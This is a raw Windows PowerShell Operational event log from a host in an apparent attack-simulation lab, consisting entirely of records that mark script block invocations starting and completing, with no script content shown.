ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047893
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047892
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047891
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047890
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047873
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047867
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047845
Keywords=None
